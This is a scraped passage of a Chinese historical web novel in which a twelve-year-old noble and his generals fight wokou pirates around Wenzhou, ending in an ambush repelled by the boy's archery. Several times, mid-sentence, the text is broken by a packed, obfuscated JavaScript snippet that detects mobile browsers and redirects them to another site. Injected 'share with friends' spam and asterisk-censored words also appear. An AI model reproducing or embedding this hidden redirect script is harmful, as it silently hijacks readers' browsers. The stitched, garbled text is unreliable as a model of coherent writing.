但他看到的,却比邓玉堂更远一些。 “打赢,只是第一步。 邓玉堂看向他,眼神中带着一丝询问。 陆明渊走到沙盘前,伸出手指,轻轻拨动了一下代表江川新四郎主力的一面黑色小旗。 “江川新四郎,可以死。但这八千倭寇,不能全都**。 “什么? 邓玉堂一愣,有些没反应过来。 在他看来,倭寇就是该杀的畜生,杀得越多越好,怎么还不能全都**? 陆明渊看着他费解的表情,轻声道:“邓将军,你觉得,倭患的根源是什么? 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 ” 邓玉堂不假思索地答道。 “东瀛浪人贪婪成性兼之我大乾海防废弛故而寇患不绝!” “只说对了一半。” 陆明渊摇了摇头。 “真正的根源在于一个‘利’字。” “有的人是为了劫掠求财有的人是被裹胁求生更有我们大乾自己的海商在背后输送钱粮把他们当成对抗朝廷海禁的刀。” “所以只杀是杀不尽的。杀了一批还会有下一批。就像割韭菜春风吹又生。” 他抬起头目光深邃。 “所以这一仗我们不仅要打出军威更要打出秩序!” “江川新四郎和他手下的死硬骨干必须死!这是祭旗是立威!” “但那些被裹胁的流民那些小股的海盗甚至是一些被逼无奈的东瀛浪人可以给他们一条活路。” “活路?” 邓玉堂的眉头皱得更紧了。 “对活路。” 陆明渊的手指在沙盘上从洞头列岛一路划向了更东方的茫茫大海。 “打垮他们然后收编他们。” “筛选其中精壮可用之人组建一支听命于‘漕海一体’这个国策的‘外海水师’!” “用倭寇打倭寇?” 邓玉堂倒吸一口凉气他被陆明渊这个大胆到近乎疯狂的想法给惊住了。 “不只是打倭寇。” 陆明渊的嘴角勾起一抹意味深长的弧度。 “他们还可以为我们远航的商船护航可以去探寻新的航路可以去占领那些地图上都没有的荒岛作为我们大乾商船的补给点。” “他们熟悉大海 “只要给他们一个合法的身份一个能赚大钱的机会他们就会成为最凶猛的鹰犬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16777318|190310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “这……这……朝廷会允许吗?” 邓玉堂的声音都有些干涩。 “我没说要让朝廷允许。” 陆明渊淡淡道。 “这支力量将是海商们的供奉是‘漕海一体’计划的一部分。” “他们不吃朝廷的粮不占朝廷的编只为出海的财富服务。” “圣上要的是结果是国库的充盈是海疆的安宁至于过程……只要结果是好的过程便不那么重要了。” 这是他与嘉靖皇帝的默契同样也是漕海一体这个国策初期最关键的一环! 等到清缴完温州府 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 的倭寇,陆明渊就会上书嘉靖,建立镇海司,将这些人收编到镇海司中。 由镇海司提供官方的身份庇护,但是不提供酬劳。 他们可以通过镇海司,跟商人合作,出海赚钱! 这是后世的雇佣兵雏形,只不过陆明渊不能明说! 邓玉堂沉默了,他感觉自己的脑子有些不够用了。 他戎马半生,想的都是如何打仗,如何杀敌。 他从未想过,一场仗打完之后,那些敌人,还能有这样的用处。 这已经超出了军事的范畴,进入了权谋与经略的层面。 他看着眼前的少年,忽然觉得,自己先前立下的军令状,似乎有些可笑。 “末将……明白了。” 许久,邓玉堂才从喉咙里挤出这几个字。 他看着陆明渊,眼神里除了敬佩,更多了一分发自内心的敬畏。 “此事不急,饭要一口一口吃。” 陆明渊收回思绪,将话题拉了回来。 “眼下,最重要的还是打赢。将军的计划很好,但我还有一个问题。” “伯爷请讲!” “你我所说的这一切,都建立在一个基础上——线报的准确性。” 陆明渊的目光变得锐利起来。 “你说,我们安插了线人在倭寇内部。可靠吗?” “江川新四郎集结重兵,准备决战的消息,会不会本身就是一个陷阱?” 邓玉堂神色一肃,沉声道。 “伯爷思虑周全。此人,是末将三年前,亲自安**去的一枚死棋。” “他本是温州本地的渔民,全家都被倭寇所杀,与倭寇有血海深仇。” “这三年来,他靠着一股狠劲和熟悉本地海情的优势,一步步从小喽啰,做到了江川身边的一名亲卫头目,深得信任。” “这一个月来三次交锋的情报,皆出自他手,分毫不差。此次决战的消息,也是他冒着生命危险传出。末将以为,可信!” “很好。”陆明渊点了点头。 “但越是这种时候,越不能掉以轻心。传令下去,让他暂时蛰伏,不要再传递任何消息,保住自身安全为上。” “他这颗棋子,在决战的最后一刻,或许能发挥出意想不到的作用。” “末将遵命!” 陆明渊再次看了一眼沙盘,那张巨大的包围网,那片注定要血流成河的海域。 “大战,定在何时?” 邓玉堂深吸一口气,眼中杀机毕露。 “三日之后,大潮初起,风向正南。天时、地利、人和,尽在我手!” “届时,便是温州倭患,彻底终结之日!” 第228章 该来的,终究还是来了 七日后。 东海之上,风云变色。 在过去的一周里,邓玉堂就像一头被放出牢笼的猛虎。 他率领着憋屈了三年的温州水师,在茫茫大海上与江川新四郎的舰队进行了三次惨烈至极的交锋。 福船巨炮的轰鸣,短兵相接时刀刃入肉的闷响,共同谱写了一曲悲壮而狂暴的战歌。 邓玉堂悍不畏死,身先士卒,他的帅船永远冲在最前方。 而胡宗宪调度的南北两路大军,则像两面无形的墙壁,不断挤压着倭寇的活动空间。 看似留出了口子,实则每一条路都通向预设的深渊。 江川新四郎节节败退。 他麾下那些临时**起来的乌合之众,在见识到大乾水师真正的雷霆之威后,早已没了当初的嚣张气焰。 恐慌如同瘟疫,在船队中蔓延。 最终,在第三次大战之后,丢下了近千具尸体和三十多艘战船。 江川新四郎带着残部,**玉堂的“追兵有意无意地,一路“逼进了一处形如弯月的海湾。 温州府,瑞安县,海龙湾。 这里三面环山,仅有一个狭窄的出海口,湾内水流平缓,看似是绝佳的避风港,实则是天然的囚笼。 当最后一艘倭寇船只驶入海湾,邓玉堂的帅船便如同一枚铁钉,死死钉在了出海口。 他身后,是黑压压的温州水师主力。 而在海湾两侧的山林之中,两千名早已埋伏于此的精锐步卒,悄无声息地露出了他们手中的**与火铳。 包围网,彻底合拢。 这里,就是邓玉堂为江川新四郎精心准备的死亡之地。 他相信,明日日出之时,这片海湾,将变成一口煮沸的汤锅,锅里,是江川新四郎和他最后的党羽。 …… 海龙湾内,死一般的寂静。 残破的倭寇船只挤在一起。 空气中弥漫着血腥、硝烟和绝望的气息。 江川新四郎站在旗舰的船头,海风吹动他散乱的头发,露出他那张阴鸷而苍白的脸。 他死死盯着海湾出口那片如同山峦般的船影,眼中跳动着疯狂的火焰。 他知道,自己败了,败得一塌糊涂。 就在这时,一艘不起眼的小渔船,趁着夜色,悄悄从一侧的礁石群中划来,靠近了他的旗舰。 一名亲卫上前,接过来人递上的一个蜡丸,迅速呈给了江川新四郎。 捏碎蜡丸,里面是一张小小 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 的纸条。 江川新四郎借着船头灯笼的微光看清了上面的字迹瞳孔骤然收缩。 纸条上的信息很简单。 邓玉堂倾巢而出温州府内防空虚主事者为十二岁冠文伯陆明渊。破局之法在陆不在邓。 这封信如同一道闪电劈开了江川新四郎脑中的迷雾。 他终于明白了! 这根本不是一场单纯的围剿战而是一个连环计! 真正的杀招不在于邓玉堂的勇猛而在于那个坐镇后方看似无害的少年伯爷! 对方算准了他会集结重兵决战算准了他会被逼入绝境。 可他们没算到自己会在最后关头得到这样一份救命的情报! “陆明渊……” 江川新四郎咀嚼着这个名字眼中闪过一丝狰狞的快意。 “十二岁的伯爷?好好一个大乾的麒麟儿!” “你想把我困死在这里?我偏要让你看看一头被逼入绝境的饿狼会做出什么事!” 他猛地转身冲入船舱片刻之后 正是他的亲弟弟江川新六郎。 “兄长!” 江川新六郎看着外面的阵仗眼中满是决死之色。 “新六郎” 江川新四郎按住他的肩膀声音低沉而急促。 “我们中计了。但天无绝人之路我们还有最后一次机会。” 他将那张纸条递给弟弟迅速将自己的计划全盘托出。 “……邓玉堂以为他吃定我们了他所有的注意力都在这片海湾。” “他绝不会想到我会金蝉脱壳!你代替我留在这里举着我的帅旗统领剩下的所有人给我在这里死死地拖住邓玉堂!” “三天你只要给我拖住他三天!” 江川新六郎看着兄长血红的眼睛重重地点头。 “兄长放心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16777319|190310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !只要我江川新六郎还有一口气在邓玉堂的船就别想再前进一寸!” “好兄弟!”江川新四郎用力拍了拍他的肩膀随即转身厉声喝道。 “挑选一千名最精锐的武士换上吃水最浅的快船带上三天的干粮跟我走!” 他要赌! 赌那个十二岁的少年伯爷只是个纸上谈兵的文弱书生! 赌他面对真正的**和战火时会吓得尿裤子! 他要从瑞安与平阳的交界处登陆他要绕 你的朋友正在书荒,快去帮帮他吧 过邓玉堂,他要用最快的速度,最残忍的手段,席卷平阳县! 他要**放火,他要制造一场滔天的人间惨剧,逼那个高高在上的伯爷派兵救援,逼邓玉堂不得不回防! 只要邓玉堂的包围网出现一丝松动,他就有机会逃出生天! …… 两天后。 平阳县,这个素来富庶安宁的鱼米之乡,一夜之间,变成了人间地狱。 一千名如狼似虎的倭寇,在江川新四郎的亲自率领下,肆虐平阳县。 沿途的村庄被付之一炬,哭喊声、惨叫声响彻云霄。 平阳县守备空虚,县城的守军不过千余人,面对数千倭寇主力,几乎毫无抵抗之力。 县令只能借助城墙,拼死抵抗。 很快,黑色的浓烟便笼罩了平阳县城的上空。 县城被团团围住,告急的文书,由数名信使拼死冲出重围,以最快的速度,向温州府城飞驰而去。 温州知府衙门,后堂。 陆明渊正在看一份关于温州本地士绅捐资助饷的账目,若雪在一旁安静地为他研墨。 就在这时,一阵急促到变了调的脚步声从门外传来。 一名府衙的亲卫连滚带爬地冲了进来,脸上满是惊恐与汗水,声音嘶哑地叫道: “伯爷!不好了!平阳急报!数股倭寇……不,是大股倭寇主力突袭平阳。” “沿途村庄尽毁,县城……县城已经被围了!!” 陆明渊缓缓抬起头。 他那双总是古井无波的眸子里,终于,掠过了一丝冰冷的寒芒。 该来的,终究还是来了。 第229章 这是一场**! “传我将令。 “擂鼓,聚将! “再传令,温州府内,所有荣兵商会成员,无论身在何处,无论在做什么,一刻钟内,府衙之前,校场集合! “告诉他们,温州知府陆明渊,在此召集大乾退伍将士! …… 咚!咚!咚! 沉闷而急促的战鼓声,打破了温州府城的宁静。 这声音,对于寻常百姓而言,或许只是远方的闷雷。 但对于那些曾于沙场之上百战余生的老兵来说,这鼓声,是刻在骨血里的召唤! 城东的酒肆里,一名正在与人划拳的独臂汉子猛地捏碎了酒碗。 他甩开酒友,疯了一般冲向府衙的方向,口中喃喃:“是聚将鼓……是聚将鼓! 城南的码头上,几名正在扛包的苦力,听到鼓声,对视一眼,扔下肩上的麻袋,对着工头拱了拱手。 “东家,今日的工钱不要了,伯爷点兵,我等,要去尽一份军爷的本分! 荣兵商会,这个由陆明渊一手创建,吸纳了无数退伍老兵的组织,在这一刻,展现出了它真正的力量。 它不仅仅是一个商业行会,更是一张遍布全城的血脉网络。 消息如同燎原的野火,以比官府的传令更快的速度,在街头巷尾传递。 “伯爷有令!召集老兵,驰援平阳! “倭寇崽子们杀到家门口了!还等什么! 百姓们自发地奔走相告,孩童在前面引路,妇人们也纷纷通知自家的男人。 短短两个时辰,温州府衙前的巨大校场上,已经黑压压地站满了人。 他们衣衫各异,有的还穿着短褂,有的身上带着鱼腥味,有的甚至拄着拐杖。 三千余人! 三千余名曾经为大乾流过血、拼过命的老卒! 陆明渊站在点将台之上,看着下方那一张张坚毅的面庞。 心中那股冰冷的杀意,渐渐化为一股滚烫的热流。 “开武库! 他声如洪钟,传遍整个校场。 “凡我大乾兵卒,皆当披甲执锐! “今日,我陆明渊便破一次例,让这温州武库,为我大乾的忠勇之士,尽出所有! 武库大门轰然洞开。 一箱箱崭新的盔甲,一架架闪着寒光的兵器,被流水般地分发下去。 老兵们熟练地穿戴着冰冷的甲胄,擦拭兵器。 三个时辰后,一支军队已然成型。 你的朋友正在书荒,快去帮帮他吧 一千名身披铁甲、手持**的精锐是为战兵。 其余两千人虽只有简陋的藤甲武器也参差不齐但那股悍勇之气丝毫不弱是为辅兵。 一名身材魁梧、面容饱经风霜的将领大步走到陆明渊面前单膝跪地声如闷雷。 “温州卫参将陈冲听凭伯爷调遣!” 此人正是邓玉堂留下的后手温州卫中经验最为丰富的老将。 他看着眼前这位年纪甚至不及自己儿子大的少年伯爷眼中没有丝毫轻视。 邓玉堂离去前曾对他言明若有万一一切皆听陆明渊号令。 他本以为这只是一句客套却不想 而这位少年伯爷在短短半日之内所展现出的手段与威望已经让他彻底折服。 “陈将军请起。” 陆明渊虚扶一把语气诚恳。 “此去平阳路途凶险倭寇狡诈。明渊虽为统帅但于战阵一道尚是门外之人。” “此三千兵马便请将军全权指挥明渊愿为副手随军听令以观战阵之酷烈。” 邓玉堂出发之前预料到倭寇会趁乱偷袭温州府下辖县城! 他专门留下陈冲就是为了应对这些突发情况! 陈冲乃是邓玉堂身旁经验最为丰富的副将也最为老成稳重! 邓玉堂曾经和陆明渊明言若是遇到变故可以找陈冲商议! 陆明渊向来不是逞强的人如今情况危机他自然不会逞强率兵! 让专业的人去做专业的事这是一个统帅最重要的能力! 陈冲猛然抬头眼中闪过一丝震惊与感动。 将指挥权交托于己? 这位权倾温州、圣眷正浓的少年伯爷竟有如此胸襟与自知! 他非但没有恃才傲物反而甘愿以身犯险亲历战场。 一瞬间陈冲心中最后一丝疑虑也烟消云消。 他深深一揖沉声道。 “伯爷信重末将万死不辞!此战必以稳妥为上步步为营不给倭寇丝毫可趁之机!” 他立刻转身下达了第一条指令。 “分出一队斥候即刻出发一日双报!” “另派快马出海寻邓帅告知平阳之危请他尽快解决海龙湾之敌回师合围!” “其余人等整军!目标平阳!” …… 暮色四合三千老兵组成的军队如同一条沉默的铁龙浩浩荡荡地 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 开出了温州府城。 没有百姓的欢送,只有无数道担忧而期盼的目光,在夜色中追随。 战事紧急,陈冲与陆明渊商议过后,决定兵行险着。 由副将亲率一千五百名精锐,轻装简行,组成先锋军,星夜驰援,务必在最短的时间内赶到平阳。 陆明渊则坐镇中军,带领其余辅兵,稳步推进,以为后应。 这是一场与时间的赛跑。 马蹄翻飞,卷起一路烟尘。 一千五百名老兵,他们几乎是以奔跑的速度,在这崎岖的官道上行进。 他们的体力早已不复当年巅峰,但那股意志,却比钢铁还要坚硬。 一天的急行军! 当先锋军的旗帜出现在平阳县外的地平线上时,所有人都已是筋疲力尽。 但眼前的一幕,让他们的血液再次沸腾! 只见远方的平阳县城,北门方向浓烟滚滚,喊杀声震天。 无数倭寇如同疯蚁,正攀附在城墙之上。 城头已然岌岌可危,数次被倭寇突破,又被守军用血肉之躯硬生生堵了回去。 “倭寇主力正在攻城!” 副将的眼中爆发出骇人的精光,“他们没有防备!儿郎们!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16777320|190310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他抽出腰间的长刀,刀锋直指倭寇大营的侧翼,声音嘶哑却充满了力量。 “随我……杀!” “杀!” 一千五百名疲惫至极的老兵,在这一刻,仿佛忘记了所有的劳累。 他们发出一声压抑已久的怒吼,狠狠地凿向了倭寇松懈的侧后方! 正在全力攻城的倭寇,根本没料到身后会突然出现一支如此规模的援军。 他们的阵型瞬间大乱。 这些老兵的刀,太稳,太狠! 他们三人一组,五人一队,彼此间的配合默契到了骨子里,仿佛一个整体。 这是一场**! 攻城的倭寇被这突如其来的打击彻底打懵了,他们丢下云梯,哭喊着向后溃逃。 却又与后续的队伍撞在一起,乱成一团。 城墙之上,早已力竭的平阳守军和平民壮丁,看到那面熟悉的“陈”字将旗,爆发出震天的欢呼。 他们仿佛注入了一股新的力量,将攀上城头的最后一批倭寇尽数**! 第一波攻势,被硬生生地击退了! 副将率领的先锋军,硬生生从北门杀了进去。 他们跟平阳县的守军汇合,重新构建防线! …… 你的朋友正在书荒,快去帮帮他吧 倭寇大营中。 江川新四郎看着北门方向的溃败,脸色阴沉得能滴出水来。 “援军……比我想象的,来得更快!” 他死死盯着那支突然杀出的军队。 看着他们虽然人数不多,但阵型严整,攻防有序,心中那股不安愈发强烈。 “这不是普通的卫所兵,这是……百战精锐!” 他知道,这仅仅是先锋。 后续肯定还有大军驰援,一旦被合围,他将插翅难飞! “不能等了!” 江川新四郎眼中闪过一丝疯狂的决断。他必须在对方的主力抵达之前,做最后一次豪赌! 他一把拉过一名心腹,厉声下令。 “传令下去,营中各部,虚张声势,多立旗帜,多燃篝火,做出主力尚在、准备与援军决战的假象!” “你,留守此地,给我拖住他们!哪怕是死,也要拖住!” 那名心腹脸色煞白,但还是重重顿首。 江川新四郎不再看他,转身对着身边的亲卫喝道。 “召集所有还能战的武士,我们剩下的精锐,还有多少人?” “大人,还有八百二十七人!” “好!”江川新四郎的嘴角咧开一个狰狞的弧度。 “加上我们沿途裹胁的那些‘帮手’,凑足一千一百人!带上所有的火器和干粮,跟我走!” 他要故技重施! 他要趁着夜色,趁着所有人的注意力都被平阳城下的对峙所吸引,悄悄地离开战场! 但他这次的目标,不是逃跑。 而是埋伏! 那个少年伯爷,既然敢亲率主力前来,必定会以为自己已是瓮中之鳖。 他要在这支大乾援军的必经之路上,打他们一个措手不及! 第230章 他究竟是怎么发现的? 夜色如墨被山风一搅便化作了浓得化不开的寒意浸入骨髓。 一千五百名辅兵组成的队伍像一条疲惫的土龙在崎岖的山道上蜿蜒前行。 陆明渊勒住马缰坐骑发出一声不安的响鼻在寂静的夜里显得格外清晰。 队伍最前方的几名老兵下意识地停下了脚步疑惑地回头望向中军位置的那个少年伯爷。 整条行进中的长龙便因此而凝滞了下来。 风声穿过山林带来草木的腥气也带来一种令人心悸的死寂。 前方不远处便是一处两山夹峙的隘口。 陈冲策马从队伍后方赶了上来马蹄声在凝固的气氛中显得有些急促。 他来到陆明渊身侧压低了声音带着一丝不解问道。 “伯爷为何突然停下?兵贵神速平阳县那边……” 他的话没有说完但意思很明显。 先锋军已经抵达他们这些后援若是慢了便失去了应有的意义。 陆明渊没有看他目光依旧死死地盯着那片深沉的黑暗。 他的声音很轻却异常清晰:“陈将军你看此地地势。” 陈冲顺着他的目光望去常年征战的经验让他瞬间就明白了陆明渊的意思。 山坳隘口两侧是陡峭的山壁林木茂密中间唯有一条狭窄的官道。 这简直是兵法教科书里最完美的伏击地点。 “此地……确是埋伏的绝佳之所。” 陈冲的声音沉了下来心中却掀起了一阵波澜。 他本以为这位少年伯爷只是个纸上谈兵的文弱书生虽有威望于战阵一道终究是外行。 这一路上他虽将指挥权交予自己但陈冲心中始终存着一份提防生怕他会提出什么不切实际的命令。 可他万万没有想到。 在所有人都因急行军而忽略了周遭环境时反倒是这位从未上过战场的伯爷第一个嗅到了危险的气息。 “老师曾无数次教导过我。” 陆明渊的声音将陈冲从思绪中拉回。 “兵者诡道也。凡必经之路遇山坳、幽谷、密林皆需十二万分的小心。” “倭寇既然敢分兵攻打平阳便不会想不到我们会驰援。” “围点打援这是最简单也最有效的战法。” 陈冲听着这番话 他重重地点了点头面色凝重地说道。 “伯 你的朋友正在书荒,快去帮帮他吧 爷所言极是。末将早在出城时便派出了十数名斥候,分批探路。 “按理说,半个时辰前就该有消息传回。可直到现在……杳无音信。 斥候没有消息,本身就是最坏的消息。 陆明渊深吸了一口气,夜风的寒意让他头脑愈发清醒。 他缓缓举起一只手,下达了一个让所有人都感到意外的命令。 “鸣金! 身旁的亲兵一愣,鸣金,不是撤退的信号吗? “伯爷? “执行命令! 陆明渊的声音陡然变得严厉。 “鸣金,声势越大越好! “咚!锵!咚!锵! 急促而尖锐的金铁交鸣之声,在空旷的山谷间回荡不休。 所有人都屏住了呼吸,死死地盯着前方那片黑暗的林地。 然而,一息,两息,三息…… 山谷间除了鼓点的回声,再无半点杂音。 没有被惊起的飞鸟,没有野兽的奔逃,甚至连虫鸣都消失了。 一片死寂。 一种令人毛骨悚然的死寂。 “不对! 陈冲脸色大变,失声喝道。 “我们这一路行来,马蹄声早已惊起无数飞鸟,此刻如此巨大的声响,林中竟无半点动静! 陈冲眼神在这一刻变得冰冷如铁,他几乎是吼了出来。 “有埋伏!全军听令,就地结阵!盾兵在前,**在后,弓箭手准备! 那些久经沙场的老兵们,在“有埋伏三个字出口的瞬间,身体的本能已经先于大脑做出了反应。 他们或许久疏战阵,配合生疏,但那刻在骨子里的战斗记忆却在瞬间被唤醒。 “哗啦啦—— 一面面简陋的藤盾被竖起,在火把的映照下,组成了一道脆弱却坚决的防线。 盾牌的缝隙间,伸出了一杆杆长短不一的枪头,闪烁着森然的寒芒。 山坳之中,江川新四郎的指甲几乎要嵌进掌心的肉里。 他看着山道上那支原本散乱的队伍。 在短短十数息内,便迅速结成了一个虽然粗糙、但却有模有样的防御阵型。 心中那股不安的预感终于化为了现实。 暴露了! 那个该死的少年人,他究竟是怎么发现的? 斥候明明已经被全部处理干净,他们隐蔽得如此完美。 可对方就是发现了。 此时此刻,他已毫无退 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 路。 若是后撤,必然会被眼前这支兵马衔尾追杀。 而平阳城内的守军一旦得知援军主力遇伏,也定会出城合围。 到那时,他便是上天无路,入地无门。 唯一的生路,就在前方! 击溃他们! “杀!” 江川新四郎眼中迸发出野兽般的疯狂与决绝,他猛地抽出腰间的太刀,发出一声凄厉的嘶吼。 “为了天照大神!为了回到故乡!冲锋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16777321|190310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !” “喔——!” 山坳两侧的密林中,仿佛凭空钻出了无数的鬼魅。 上千名倭寇武士与被他们裹胁的亡命之徒,嘶吼着,从山坡上猛冲而下,直扑大乾军队尚未完全稳固的阵型。 他们早有准备,居高临下,蓄势已久。 而陆明渊的辅兵们,则是仓促应战,立足未稳。 “轰!” 第一波冲击,狠狠地撞在了那道由藤盾组成的防线上。 巨大的冲击力让整个军阵都为之一颤,最前排的几名老兵被撞得口吐鲜血,手中的藤盾瞬间四分五裂。 倭寇的太刀,锋利而狠辣,专门寻找盾牌的缝隙和防御的死角。 “噗嗤!” 鲜血飞溅! 一名老兵的胸膛被瞬间划开,他圆睁着双眼,难以置信地看着自己倒下,到死都还死死握着手中的**。 这些退伍多年的老卒,面对如此精锐、如此疯狂的冲击,一时间阵脚大乱。 有人开始下意识地后退,有人眼中流露出恐惧。 军阵,开始出现了骚动的迹象。 一旦阵型被撕开一个口子,接下来便将是一场毫无悬念的**! 陈冲双目赤红,挥舞着大刀,亲自顶在阵前,一刀将一名冲到近前的倭寇劈成两半,声嘶力竭地吼道。 “稳住!都给老子稳住!想想你们身后的妻儿!想想平阳城里的百姓!” 然而,在倭寇悍不畏死的冲击下,他的吼声显得如此苍白。 就在这千钧一发之际,一个清冷而沉稳的声音,如同一道惊雷,在混乱的战场上炸响。 “取我弓来!” 众人下意识地回头,只见那位一直稳坐中军的少年伯爷,不知何时已经翻身下马。 一名亲兵正手忙脚乱地从马背上解下一张用厚布包裹的巨弓。 陆明渊一把扯开包裹,露出一张通体漆黑,比寻常军弓大了近一倍的强弓。 三石强弓! 这是林瀚文送给他防身之用,也是专门打造的三石强弓。 他左手持弓,右手从箭囊中抽出一支特制的破甲重箭,动作行云流水,没有丝毫的拖沓。 陆明渊的眼中,只剩下前方那个挥舞着太刀,冲在最前方的倭寇头目。 他双脚分开,稳稳立于大地之上,腰腹发力,双臂肌肉瞬间绷紧。 那张寻常壮汉两人合力也未必能拉开的三石强弓,此刻弓弦被拉至满月。 “着!” 陆明渊一声轻喝。 没有惊天动地的声响,只有一声沉闷到极致的嗡鸣。 弓弦骤然弹回。 那支黑色的破甲重箭,化作一道肉眼几乎无法捕捉的流光,撕裂夜幕,直接将那名倭寇头目射飞出数米远。 第231章 擂鼓!全军出击! 沉重的身体砸落在地,发出一声闷响。 时间,仿佛在这一刻被那支箭矢钉住了。 喧嚣的喊杀声,兵刃的碰撞声,垂死的哀嚎声,都在这一瞬间突兀地矮了下去。 所有人的目光,无论是浴血奋战的大乾辅兵,还是状若疯魔的倭寇。 纷纷下意识地投向了那具倒在血泊中的尸体,以及尸体后方,那个持弓而立的少年。 火把的光芒在他清秀的脸庞上跳跃,映出一片与其年龄绝不相称的冷峻与沉静。 他身形尚显单薄,却如一杆标枪般挺立,手中那张巨大的黑弓,此刻仿佛拥有了**全场的魔力。 寂静只持续了一息。 陆明渊没有丝毫停顿,左手稳如磐石,右手自箭囊中行云流水般抽出第二支重箭。 搭箭,开弓,瞄准。 他的眼中没有了整个战场,没有了那一千五百名辅兵。 他的世界里,只剩下一条由弓、箭与目标构成的笔直的线。 “嗡—— 又是一声沉闷的弦响,撕破夜幕的寂静。 另一名冲在最前,挥舞着太刀将一名大乾老兵连人带盾劈开的倭寇,身体猛地一僵。 低头看去,一支黑色的箭羽正从他的心口处微微颤动。 他张了张嘴,似乎想说什么,喷出的却只有大股的鲜血和破碎的内脏。 “着! “着! “着! 陆明渊口中不再有任何多余的言语,只有一个冰冷的音节。 每一次轻喝,都伴随着弓弦的震颤。 或穿心,或透喉,或贯目。 无一虚发! 一支又一支破甲重箭,带着撕裂空气的尖啸,撕碎了倭寇的进攻路线。 转瞬之间,已有十余名最为悍勇的倭寇,被他一一射杀当场! 原本如同潮水般汹涌的攻势,在这连绵不绝的精准射杀之下,竟硬生生地被遏制住了! 冲在最前面的倭寇下意识地放慢了脚步,眼中那股疯狂的嗜血之色,第一次被恐惧所取代。 他们不怕死,但他们怕这种无法理解、无法反抗的死亡。 那个少年,就像是执掌生死的阎罗,在远处冷漠地收割着他们的性命。 “哗——!!! 短暂的死寂之后,大乾的军阵之中爆发出山呼海啸般的欢呼! 那些原本被倭寇的凶悍冲击得摇摇欲坠,心中已生出绝望的老兵们。 此刻看着 听说看这本书的人都是很幸运的,分享后你的运气会更棒 中军方向那道神明般的身影,眼中迸发出难以置信的狂热光芒! 他们知道这位少年伯爷是陆青天,是百年不遇的文曲星,是能写出惊天策论的状元郎。 可谁能想到,这位看似文弱的伯爷,挽弓搭箭之时,竟有如此神威! “伯爷神射!伯爷神射! 不知是谁第一个喊出声来,这句嘶哑的吼声瞬间点燃了所有人的情绪。 陈冲双目赤红,一刀将身前的一名倭寇枭首。 感受着身边将士们重新燃起的战意,他胸中一股热血直冲头顶。 他意识到,这是千载难逢的,足以扭转乾坤的机会! 他猛地举起手中滴血的战刀,用尽全身力气,声嘶力竭地咆哮道。 “陆青天神射!冠文伯威武! “有伯爷在此,倭寇不堪一击!儿郎们,随我杀! “冠文伯威武!杀! “冠文伯神射无双!杀光这帮**的! 一千五百人的齐声怒吼,汇成一股惊天动地的声浪,在这山谷间激荡回响。 那股颓丧、恐惧的气氛被一扫而空。 取而代之的是一股被压抑到极致后猛然爆发的昂扬战意! 这股声浪仿佛拥有实质的力量,化作滚滚热流,涌入陆明渊的四肢百骸。 他只觉得浑身的血液都在燃烧,心脏在胸膛里擂鼓般狂跳。 老师教导的冷静,策论中的权衡,在这一刻尽数被抛诸脑后。 那山呼海啸般的呼喊,那一道道狂热崇拜的目光,让他体会到了一种前所未有的激荡与豪情。 肾上腺素疯狂飙升,他拈弓搭箭的速度越来越快。 手臂的酸麻感似乎已经消失,眼中只剩下猎物。 弓弦的嗡鸣声越来越密集,仿佛一曲急促而激昂的战歌。 二十人! 二十五人! 三十人! 当死在他箭下的倭寇超过三十之数时,倭寇前锋的阵线已经彻底崩溃了。 没有人再敢冲在最前面,去当那个少年的活靶子。 “八嘎! 山坳之上,江川新四郎看着这匪夷所思的一幕,目眦欲裂。 他听到了大乾军阵中那清晰无比的呼喊——“冠文伯! 冠文伯! 那个在塘报中被反复提及,被严党视为眼中钉,被他们此行视为最重要目标的少年伯爷! 原来就是他! 那个看似最没有威胁的文弱书生,竟然是隐藏得最深的绝世 你的朋友正在书荒,快去帮帮他吧 神射! 